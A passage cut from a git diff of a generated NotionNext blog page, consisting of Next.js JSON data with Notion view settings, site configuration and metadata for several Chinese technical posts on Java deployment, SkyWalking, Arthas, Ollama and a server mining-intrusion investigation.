95245029","dec89a30-7004-499f-a99e-05b2842cad2b","7efc83d4-2645-4578-b588-a9cffb15524a","1769e8de-bebe-4687-a28a-34c15859ed98","203f2c30-a3cd-4f70-95b3-07df9f996428","2a0b435c-6f77-4db8-be6b-831d177bd762","eac01009-c323-46fd-8339-09c282e6597e","c4b37f96-4ab0-4a0b-a16e-55bac3e32990","4ad5c69e-0dab-4d66-b548-360da7d53568","72d89744-ac04-4dd4-be8b-9d629acd7c11","32dc3358-e954-4934-9e71-cf1dfbca5b91","961e45bd-8bed-4ebc-b3d8-1f0e63736d04"],"query2":{"aggregations":[{"property":"title","aggregator":"count"}]},"space_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"role":"comment_only"},"818d9fe2-a27d-40ec-b827-614939109ca4":{"value":{"id":"818d9fe2-a27d-40ec-b827-614939109ca4","version":1,"type":"gallery","format":{"gallery_cover":{"type":"page_cover"},"table_properties":[{"width":100,"visible":true,"property":"`gQ~"},{"width":116,"visible":true,"property":"bB{M"},{"width":142,"visible":true,"property":"sD^m"},{"width":219,"visible":true,"property":"title"},{"width":100,"visible":true,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"width":155,"visible":true,"property":"d]hq"},{"width":352,"visible":true,"property":"wz|S"},{"width":111,"visible":true,"property":"NX\\Q"},{"width":100,"visible":true,"property":"@NcA"},{"width":117,"visible":true,"property":"Dj]h"}],"collection_groups":[{"value":{"type":"select","value":"心情随笔"},"property":"bB{M"},{"value":{"type":"select","value":"技术分享"},"property":"bB{M"},{"value":{"type":"select","value":"知行合一"},"property":"bB{M"},{"value":{"type":"select"},"hidden":true,"property":"bB{M"}],"gallery_properties":[{"visible":true,"property":"title"},{"visible":true,"property":"NX\\Q"},{"visible":true,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"visible":false,"property":"bB{M"},{"visible":false,"property":"Dj]h"},{"visible":false,"property":"@NcA"},{"visible":false,"property":"d]hq"},{"visible":false,"property":"wz|S"},{"visible":false,"property":"sD^m"},{"visible":false,"property":"`gQ~"}],"collection_group_by":{"sort":{"type":"manual"},"type":"select","property":"bB{M"},"table_subitem_toggle_column":"title"},"parent_id":"87ff73a8-1273-4f5f-96c1-cd1becb07207","parent_table":"block","alive":true,"space_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"role":"comment_only"},"ad494b39-a38c-415e-9221-325f0f9be280":{"value":{"id":"ad494b39-a38c-415e-9221-325f0f9be280","version":1,"type":"board","format":{"board_columns":[{"value":{"type":"select","value":"Draft"},"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"value":{"type":"select","value":"Invisible"},"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"value":{"type":"select","value":"Published"},"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"value":{"type":"select"},"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"}],"board_columns_by":{"sort":{"type":"manual"},"type":"select","property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},"board_properties":[{"visible":true,"property":"title"},{"visible":true,"property":"bB{M"},{"visible":true,"property":"sD^m"},{"visible":true,"property":"wz|S"},{"visible":false,"property":"NX\\Q"},{"visible":false,"property":"Dj]h"},{"visible":false,"property":"@NcA"},{"visible":false,"property":"d]hq"},{"visible":false,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"visible":false,"property":"`gQ~"}],"table_properties":[{"width":100,"visible":true,"property":"`gQ~"},{"width":116,"visible":true,"property":"bB{M"},{"width":142,"visible":true,"property":"sD^m"},{"width":219,"visible":true,"property":"title"},{"width":100,"visible":true,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"width":155,"visible":true,"property":"d]hq"},{"width":352,"visible":true,"property":"wz|S"},{"width":111,"visible":true,"property":"NX\\Q"},{"width":100,"visible":true,"property":"@NcA"},{"width":117,"visible":true,"property":"Dj]h"}],"table_subitem_toggle_column":"title"},"parent_id":"87ff73a8-1273-4f5f-96c1-cd1becb07207","parent_table":"block","alive":true,"space_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"role":"comment_only"},"58c6fb90-5030-4627-8bad-38b57c3253cd":{"value":{"id":"58c6fb90-5030-4627-8bad-38b57c3253cd","version":25,"type":"list","name":"","format":{"list_properties":[{"visible":true,"property":"NX\\Q"},{"visible":true,"property":"d]hq"},{"visible":true,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"visible":true,"property":"sD^m"},{"visible":true,"property":"`gQ~"},{"visible":false,"property":"wz|S"},{"visible":false,"property":"bB{M"},{"visible":false,"property":"Dj]h"},{"visible":false,"property":"@NcA"}],"table_properties":[{"width":100,"visible":true,"property":"`gQ~"},{"width":116,"visible":true,"property":"bB{M"},{"width":142,"visible":true,"property":"sD^m"},{"width":219,"visible":true,"property":"title"},{"width":100,"visible":true,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"width":155,"visible":true,"property":"d]hq"},{"width":352,"visible":true,"property":"wz|S"},{"width":111,"visible":true,"property":"NX\\Q"},{"width":100,"visible":true,"property":"@NcA"},{"width":117,"visible":true,"property":"Dj]h"}],"collection_groups":[{"value":{"type":"select","value":"心情随笔"},"property":"bB{M"},{"value":{"type":"select","value":"技术分享"},"property":"bB{M"},{"value":{"type":"select","value":"知行合一"},"property":"bB{M"},{"value":{"type":"select"},"property":"bB{M"},{"value":{"type":"select","value":"未发布"},"hidden":false,"property":"bB{M"}],"collection_group_by":{"sort":{"type":"manual"},"type":"select","property":"bB{M"},"table_subitem_toggle_column":"title"},"parent_id":"87ff73a8-1273-4f5f-96c1-cd1becb07207","parent_table":"block","alive":true,"page_sort":["aac975a5-3e4f-4274-b064-aec9a24b48be","bb12e5eb-3f93-4fc7-ba98-c634aeab570c","69787376-afa9-4f5b-9230-dbfcde06209d","07268062-6524-4c7a-a123-1bf8f2b1dc97","4fae0653-be7f-4e10-91de-344f6c6d0a6b","163026f4-445a-4595-936d-c0df491c3776","973ede9c-1a10-4482-be06-324fd481d34f","47aba706-2cde-4eef-9fb8-0cdd0f7805c9","d43cadd5-38cc-48ce-a44d-188a8215cd7d","93032c73-435f-4a73-8087-b71ecff3a86b","041a3743-f888-4476-b947-fff856745c02","95ddf5c1-569e-4c61-a1e8-6507fe59fc97","463a12f0-d5d5-4492-bb0f-8058cea32a41","b4a852c3-8bab-43ef-b748-8dec9d0940f9","7d53a42d-ea99-435e-b34c-b08a4c1d5d8d","c555dc5f-766e-4b6d-8adc-711dda06ca9e","f53bfc30-59bb-4890-ba28-0b045040aa5e","5263856d-837a-4f2d-bfc6-24cbff6c946c","7b6c5022-b0db-4dc3-a38e-47cefabe2caf","d88da7cd-eebc-4c92-b9c3-53910376ab83","7d039e15-c906-470d-b781-943032713368","e746c4ee-0327-4529-85ac-7059a10091d3","29e65d89-d04e-4ee3-9a9d-2f8856ed3055","6234c1b0-c99f-4e13-892c-77dfbbb980dc","6619e16a-8a30-411e-a0d4-3fd724006c63","2e7ee7ca-e5f6-41ae-8886-cdcebbd52a5c","54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf","d3216be6-1b27-40e7-8677-7404896b7eb6","3505b511-076b-47a7-aa1a-95e702c54e6b","ce6b6618-a118-4ee9-b74c-33a848d0f0ed","f6073c5c-d5a8-464d-90e1-2b13358989d7","463a3c80-4e43-42d9-b436-1299d00df6b2","026c5c21-3604-4c0a-a13c-ccb9208e4815","38e3f997-dad9-46b8-99bb-d3042488821f","7e13a286-a275-4f48-b9d0-416c9b1368ce","c400684e-4c92-4f33-a95c-fa250a356d9b"],"space_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"role":"comment_only"}},"notion_user":{},"collection_query":{},"signed_urls":{}}},"prev":{"id":"38e3f997-dad9-46b8-99bb-d3042488821f","date":{"start_date":"2024-01-24","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240124-deploy","tags":["推荐","工具","自动化","微服务"],"summary":"微服务jar包越来越多,每次手动上线的时候都要运行一大堆命令,并且每个人备份的jar包名称目录都不一样。故写了一个脚本规定死流程,并且把脚本配置到环境变量做自动补全。","title":"Java部署脚本\u0026重启备份检查\u0026配置环境","status":"Published","publishDate":1706054400000,"publishDay":"Jan 24, 2024","lastEditedDate":"2024-01-24T07:18:46.139Z","lastEditedDay":"Jan 24, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","pageCoverThumbnail":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","tagItems":[{"name":"推荐","color":"red"},{"name":"工具","color":"pink"},{"name":"自动化","color":"blue"},{"name":"微服务","color":"red"}],"password":""},"next":{"id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","date":{"time_zone":"Asia/Shanghai","start_date":"2024-01-19","start_time":"13:00"},"type":"Post","category":"技术分享","slug":"article/240119-notion","tags":["建站","推荐","工具","docker","自动化","折腾","git"],"summary":"之前一直使用GitPage+typora+hexo来做文章分享管理,奈何真的麻烦坚持不下去了。Notion是我一直在使用的笔记软件,为了更好的使用Notion我还去看了许多文章。现在Notion已经是我生活的一部分了。最近发现NotionNext,但需要Vercel部署,还需要自己映射域名。所以想着用xx.github.io域名,优雅又方便","title":"Notion文章自动同步GitPage","status":"Published","publishDate":1705622400000,"publishDay":"Jan 19, 2024","lastEditedDate":"2024-03-19T17:14:00.935Z","lastEditedDay":"Mar 19, 2024","fullWidth":false,"pageIcon":"📗","pageCover":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=85\u0026fm=jpg\u0026crop=entropy\u0026cs=srgb\u0026t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=50\u0026fm=webp\u0026crop=entropy\u0026cs=srgb\u0026t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed\u0026width=800\u0026fmt=webp","tagItems":[{"name":"建站","color":"brown"},{"name":"推荐","color":"red"},{"name":"工具","color":"pink"},{"name":"docker","color":"gray"},{"name":"自动化","color":"blue"},{"name":"折腾","color":"purple"},{"name":"git","color":"default"}],"password":""},"recommendPosts":[{"id":"e8fd9138-663d-415d-9684-24343fb3248f","date":{"start_date":"2024-03-25","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240325-ollama","tags":["工具","推荐","折腾"],"summary":"m1 pro芯片+32g体验了五种大模型本地部署","title":"mac体验ollama本地大模型","status":"Published","publishDate":1711324800000,"publishDay":"Mar 25, 2024","lastEditedDate":"2024-03-26T05:49:00.447Z","lastEditedDay":"Mar 26, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","pageCoverThumbnail":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","tagItems":[{"name":"工具","color":"pink"},{"name":"推荐","color":"red"},{"name":"折腾","color":"purple"}],"password":""},{"id":"e013510c-b3a7-4907-b4cd-118b118d30db","date":{"start_date":"2024-03-20","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240320-arthas","tags":["工具","开发","推荐"],"summary":"Arthas在排查Java应用线上问题的时候有大用处,并且可以是热部署工具,这里我推荐几个我常用的方法","title":"Arthas简单使用备忘录","status":"Published","publishDate":1710892800000,"publishDay":"Mar 20, 2024","lastEditedDate":"2024-03-20T04:52:10.213Z","lastEditedDay":"Mar 20, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","pageCoverThumbnail":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","tagItems":[{"name":"工具","color":"pink"},{"name":"开发","color":"pink"},{"name":"推荐","color":"red"}],"password":""},{"id":"7e13a286-a275-4f48-b9d0-416c9b1368ce","date":{"start_date":"2024-03-19","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240319-xmrig","tags":["建站","推荐","开发"],"summary":"叮咚!阿里云提示你,你的服务器正在被攻击!","title":"Xmrig挖矿入侵服务器排查","status":"Published","publishDate":1710806400000,"publishDay":"Mar 19, 2024","lastEditedDate":"2024-03-19T17:15:42.884Z","lastEditedDay":"Mar 19, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","pageCoverThumbnail":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","tagItems":[{"name":"建站","color":"brown"},{"name":"推荐","color":"red"},{"name":"开发","color":"pink"}],"password":""},{"id":"38e3f997-dad9-46b8-99bb-d3042488821f","date":{"start_date":"2024-01-24","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240124-deploy","tags":["推荐","工具","自动化","微服务"],"summary":"微服务jar包越来越多,每次手动上线的时候都要运行一大堆命令,并且每个人备份的jar包名称目录都不一样。故写了一个脚本规定死流程,并且把脚本配置到环境变量做自动补全。","title":"Java部署脚本\u0026重启备份检查\u0026配置环境","status":"Published","publishDate":1706054400000,"publishDay":"Jan 24, 2024","lastEditedDate":"2024-01-24T07:18:46.139Z","lastEditedDay":"Jan 24, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","pageCoverThumbnail":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","tagItems":[{"name":"推荐","color":"red"},{"name":"工具","color":"pink"},{"name":"自动化","color":"blue"},{"name":"微服务","color":"red"}],"password":""},{"id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","date":{"time_zone":"Asia/Shanghai","start_date":"2024-01-19","start_time":"13:00"},"type":"Post","category":"技术分享","slug":"article/240119-notion","tags":["建站","推荐","工具","docker","自动化","折腾","git"],"summary":"之前一直使用GitPage+typora+hexo来做文章分享管理,奈何真的麻烦坚持不下去了。Notion是我一直在使用的笔记软件,为了更好的使用Notion我还去看了许多文章。现在Notion已经是我生活的一部分了。最近发现NotionNext,但需要Vercel部署,还需要自己映射域名。所以想着用xx.github.io域名,优雅又方便","title":"Notion文章自动同步GitPage","status":"Published","publishDate":1705622400000,"publishDay":"Jan 19, 2024","lastEditedDate":"2024-03-19T17:14:00.935Z","lastEditedDay":"Mar 19, 2024","fullWidth":false,"pageIcon":"📗","pageCover":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=85\u0026fm=jpg\u0026crop=entropy\u0026cs=srgb\u0026t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=50\u0026fm=webp\u0026crop=entropy\u0026cs=srgb\u0026t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed\u0026width=800\u0026fmt=webp","tagItems":[{"name":"建站","color":"brown"},{"name":"推荐","color":"red"},{"name":"工具","color":"pink"},{"name":"docker","color":"gray"},{"name":"自动化","color":"blue"},{"name":"折腾","color":"purple"},{"name":"git","color":"default"}],"password":""},{"id":"d3216be6-1b27-40e7-8677-7404896b7eb6","date":{"start_date":"2024-01-18"},"type":"Post","category":"心情随笔","slug":"article/example","tags":["建站","文字","推荐"],"summary":"这是示例的文章摘要,摘要内容可被用做搜索,预览。文章列表默认展示概要;若要在列表直接展示文章内容,可在blog.config.js中配置。","title":"示例文章","status":"Published","publishDate":1705536000000,"publishDay":"Jan 18, 2024","lastEditedDate":"2024-01-19T06:18:08.580Z","lastEditedDay":"Jan 19, 2024","fullWidth":false,"pageIcon":"🗓️","pageCover":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=85\u0026fm=jpg\u0026crop=entropy\u0026cs=srgb\u0026t=d3216be6-1b27-40e7-8677-7404896b7eb6","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=50\u0026fm=webp\u0026crop=entropy\u0026cs=srgb\u0026t=d3216be6-1b27-40e7-8677-7404896b7eb6\u0026width=800\u0026fmt=webp","tagItems":[{"name":"建站","color":"brown"},{"name":"文字","color":"brown"},{"name":"推荐","color":"red"}],"password":""}]},"__N_SSG":true},"page":"/[prefix]/[slug]","query":{"prefix":"article","slug":"240121-skywaking"},"buildId":"xl8RIHPvivYKGN-nsdmr6","runtimeConfig":{"NODE_ENV_API":"prod","THEMES":["example","fukasawa","gitbook","heo","hexo","matery","medium","nav","next","nobelium","plog","simple"]},"isFallback":false,"dynamicIds":[10635],"gsp":true,"scriptLoader":[]}</script></body></html>
\ No newline at end of file
+              </script></div><script id="__NEXT_DATA__" type="application/json" crossorigin="">{"props":{"pageProps":{"NOTION_CONFIG":{"AUTHOR":"Both Savage","BIO":"talk is cheap","TITLE":"Both Savage","DESCRIPTION":"talk is cheap","LINK":"https://bothsavage.github.io/","THEME":"gitbook","CAN_COPY":"true","SINCE":"2024","CONTACT_EMAIL":"bothsavage@163.com","CUSTOM_MENU":"true","CUSTOM_RIGHT_CLICK_CONTEXT_MENU":"false","LANG":"en-US","THEME_SWITCH":"true","POST_SHARE_BAR_ENABLE":"true"},"notice":null,"siteInfo":{"title":"Both Savage","description":"一个NotionNext搭建的博客","pageCover":"https://www.notion.so/images/page-cover/nasa_robert_stewart_spacewalk_2.jpg","icon":"https://www.notion.so/image/https%3A%2F%2Fprod-files-secure.s3.us-west-2.amazonaws.com%2Feb3e1328-8f32-4ff5-8d18-8ea80020e175%2Fc5ebdc5a-c3fd-403e-906b-17d64db6d01f%2Ffavicon.ico?table=collection\u0026id=3c6ddc29-47df-43f6-a375-de1c3a9cf466\u0026t=3c6ddc29-47df-43f6-a375-de1c3a9cf466\u0026width=800"},"allNavPages":[{"id":"e8fd9138-663d-415d-9684-24343fb3248f","title":"mac体验ollama本地大模型","pageCoverThumbnail":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","category":"技术分享","tags":["工具","推荐","折腾"],"summary":"m1 pro芯片+32g体验了五种大模型本地部署","slug":"article/240325-ollama","pageIcon":"🗒️","lastEditedDate":"2024-03-26T05:49:00.447Z"},{"id":"e013510c-b3a7-4907-b4cd-118b118d30db","title":"Arthas简单使用备忘录","pageCoverThumbnail":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","category":"技术分享","tags":["工具","开发","推荐"],"summary":"Arthas在排查Java应用线上问题的时候有大用处,并且可以是热部署工具,这里我推荐几个我常用的方法","slug":"article/240320-arthas","pageIcon":"🗒️","lastEditedDate":"2024-03-20T04:52:10.213Z"},{"id":"7e13a286-a275-4f48-b9d0-416c9b1368ce","title":"Xmrig挖矿入侵服务器排查","pageCoverThumbnail":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","category":"技术分享","tags":["建站","推荐","开发"],"summary":"叮咚!阿里云提示你,你的服务器正在被攻击!","slug":"article/240319-xmrig","pageIcon":"🗒️","lastEditedDate":"2024-03-19T17:15:42.884Z"},{"id":"38e3f997-dad9-46b8-99bb-d3042488821f","title":"Java部署脚本\u0026重启备份检查\u0026配置环境","pageCoverThumbnail":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","category":"技术分享","tags":["推荐","工具","自动化","微服务"],"summary":"微服务jar包越来越多,每次手动上线的时候都要运行一大堆命令,并且每个人备份的jar包名称目录都不一样。故写了一个脚本规定死流程,并且把脚本配置到环境变量做自动补全。","slug":"article/240124-deploy","pageIcon":"🗒️","lastEditedDate":"2024-01-24T07:18:46.139Z"},{"id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","title":"解决SkyWalking在gateway中logback链路丢失","pageCoverThumbnail":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","category":"技术分享","tags":["推荐","开发","日志","微服务","spring","skywalking"],"summary":"一年半以前,公司就从单体应用逐步迁移到微服务管理。奈何业务绑定太深,一直在两边混合开发。由于迁移到微服务的进程完成了一大半了,之前在单体项目中打的链路追踪就不太好用了。随即想到了SkyWalking,随即发现了一个大坑,那就是在gateway组件中logback日志会丢失TraceId,网上搜了一圈都没有解决问题,我又跑到SkyWalking的issue中搜了一大圈,发现大佬以下回答,还是得自己想办法。","slug":"article/240121-skywaking","pageIcon":"🗒️","lastEditedDate":"2024-01-20T18:52:32.627Z"},{"id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","title":"Notion文章自动同步GitPage","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=50\u0026fm=webp\u0026crop=entropy\u0026cs=srgb\u0026t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed\u0026width=800\u0026fmt=webp","category":"技术分享","tags":["建站","推荐","工具","docker","自动化","折腾","git"],"summary":"之前一直使用GitPage+typora+hexo来做文章分享管理,奈何真的麻烦坚持不下去了。Notion是我一直在使用的笔记软件,为了更好的使用Notion我还去看了许多文章。现在Notion已经是我生活的一部分了。最近发现NotionNext,但需要Vercel部署,还需要自己映射域名。所以想着用xx.github.io域名,优雅又方便","slug":"article/240119-notion","pageIcon":"📗","lastEditedDate":"2024-03-19T17:14:00.935Z"},{"id":"d3216be6-1b27-40e7-8677-7404896b7eb6","title":"示例文章","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=50\u0026fm=webp\u0026crop=entropy\u0026cs=srgb\u0026t=d3216be6-1b27-40e7-8677-7404896b7eb6\u0026width=800\u0026fmt=webp","category":"心情随笔","tags":["建站","文字","推荐"],"summary":"这是示例的文章摘要,摘要内容可被用做搜索,预览。文章列表默认展示概要;若要在列表直接展示文章内容,可在blog.config.js中配置。","slug":"article/example","pageIcon":"🗓️","lastEditedDate":"2024-01-19T06:18:08.580Z"},{"id":"54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf","title":"开始","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=50\u0026fm=webp\u0026crop=entropy\u0026cs=srgb\u0026t=54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf\u0026width=800\u0026fmt=webp","category":"知行合一","tags":["建站","文字","推荐"],"summary":"这是示例的文章摘要,摘要内容可被用做搜索,预览。文章列表默认展示概要;若要在列表直接展示文章内容,可在blog.config.js中配置。","slug":"article/begin","pageIcon":"🏐","lastEditedDate":"2024-01-19T09:15:24.923Z"}],"tagOptions":[{"id":"d9f66761-0396-4e80-be5c-2ab6c7f8ba86","name":"推荐","color":"red","count":8},{"id":"ee932bde-0023-446f-9bb4-17d2022121c9","name":"文字","color":"brown","count":2},{"id":"25b1074b-a3fa-49f5-82cd-a37d85c5666f","name":"工具","color":"pink","count":4},{"id":"1e90f00e-8f1b-4665-8e69-92f0791bde56","name":"开发","color":"pink","count":3},{"id":"2382b30f-9881-4a8b-ae7f-2d34979c4fb9","name":"建站","color":"brown","count":4},{"id":"50765df4-40d8-4098-a1b4-abf97b9ce1d2","name":"docker","color":"gray","count":1},{"id":"114a1313-d952-45e1-8bb5-8bf0b7d3c372","name":"自动化","color":"blue","count":2},{"id":"986f04d2-1cd1-4f47-84ba-2c692e069d93","name":"折腾","color":"purple","count":2},{"id":"88f6276a-b475-4a62-a2b6-438606516ec8","name":"git","color":"default","count":1},{"id":"11c42291-5274-44a7-94a3-f4af3382896b","name":"日志","color":"red","count":1},{"id":"e89abe8e-9228-48f8-8bb0-582d8343eb91","name":"微服务","color":"red","count":2},{"id":"c002f5d1-02d9-41b0-954e-6f6a5978b3e0","name":"spring","color":"purple","count":1},{"id":"9fb08037-26be-4513-a5b2-ada51bcfeb9c","name":"skywalking","color":"blue","count":1}],"categoryOptions":[{"id":"a4dcd33a-34a7-4c33-b9c2-92d3a5248f06","name":"知行合一","color":"pink","count":1},{"id":"8282ff59-f160-40c3-ab7e-6e970a0a64d5","name":"技术分享","color":"purple","count":6},{"id":"edd604ab-fda7-4d9b-964a-e7de536c05a0","name":"心情随笔","color":"orange","count":1}],"customNav":[{"icon":"fas fa-home","name":"主页","to":"//","target":"_self","show":true}],"customMenu":[{"id":"5263856d-837a-4f2d-bfc6-24cbff6c946c","icon":"fab fa-github","date":{"start_date":"2021-03-13"},"type":"Menu","slug":"https://github.com/BOTHSAVAGE","summary":"这是一个指向外部地址的单页","title":"Github","status":"Published","category":"","publishDate":1615593600000,"publishDay":"Mar 13, 2021","lastEditedDate":"2024-01-18T16:12:17.114Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"https://github.com/BOTHSAVAGE","name":"Github","password":"","show":true,"target":"_blank"},{"id":"29e65d89-d04e-4ee3-9a9d-2f8856ed3055","icon":"fas fa-archive","date":{"start_date":"2023-03-23"},"type":"Menu","slug":"#","title":"往期整理","status":"Published","category":"","publishDate":1679529600000,"publishDay":"Mar 23, 2023","lastEditedDate":"2024-01-18T16:12:17.113Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"#","name":"往期整理","password":"","show":true,"subMenus":[{"id":"d88da7cd-eebc-4c92-b9c3-53910376ab83","icon":"fas fa-clock-rotate-left","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/archive","title":"历史归档","status":"Published","category":"","publishDate":1625184000000,"publishDay":"Jul 2, 2021","lastEditedDate":"2024-01-18T16:12:17.115Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/archive","name":"历史归档","password":"","show":true},{"id":"7d039e15-c906-470d-b781-943032713368","icon":"fas fa-th","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/category","title":"文章分类","status":"Published","category":"","publishDate":1625184000000,"publishDay":"Jul 2, 2021","lastEditedDate":"2024-01-18T16:12:17.114Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/category","name":"文章分类","password":"","show":true},{"id":"e746c4ee-0327-4529-85ac-7059a10091d3","icon":"fas fa-tag","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/tag","title":"文章标签","status":"Published","category":"","publishDate":1625184000000,"publishDay":"Jul 2, 2021","lastEditedDate":"2024-01-18T16:12:17.115Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/tag","name":"文章标签","password":"","show":true}]}],"postCount":8,"latestPosts":[{"id":"e8fd9138-663d-415d-9684-24343fb3248f","date":{"start_date":"2024-03-25","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240325-ollama","tags":["工具","推荐","折腾"],"summary":"m1 pro芯片+32g体验了五种大模型本地部署","title":"mac体验ollama本地大模型","status":"Published","publishDate":1711324800000,"publishDay":"Mar 25, 2024","lastEditedDate":"2024-03-26T05:49:00.447Z","lastEditedDay":"Mar 26, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","pageCoverThumbnail":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","tagItems":[{"name":"工具","color":"pink"},{"name":"推荐","color":"red"},{"name":"折腾","color":"purple"}],"password":""},{"id":"e013510c-b3a7-4907-b4cd-118b118d30db","date":{"start_date":"2024-03-20","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240320-arthas","tags":["工具","开发","推荐"],"summary":"Arthas在排查Java应用线上问题的时候有大用处,并且可以是热部署工具,这里我推荐几个我常用的方法","title":"Arthas简单使用备忘录","status":"Published","publishDate":1710892800000,"publishDay":"Mar 20, 2024","lastEditedDate":"2024-03-20T04:52:10.213Z","lastEditedDay":"Mar 20, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","pageCoverThumbnail":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","tagItems":[{"name":"工具","color":"pink"},{"name":"开发","color":"pink"},{"name":"推荐","color":"red"}],"password":""},{"id":"7e13a286-a275-4f48-b9d0-416c9b1368ce","date":{"start_date":"2024-03-19","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240319-xmrig","tags":["建站","推荐","开发"],"summary":"叮咚!阿里云提示你,你的服务器正在被攻击!","title":"Xmrig挖矿入侵服务器排查","status":"Published","publishDate":1710806400000,"publishDay":"Mar 19, 2024","lastEditedDate":"2024-03-19T17:15:42.884Z","lastEditedDay":"Mar 19, 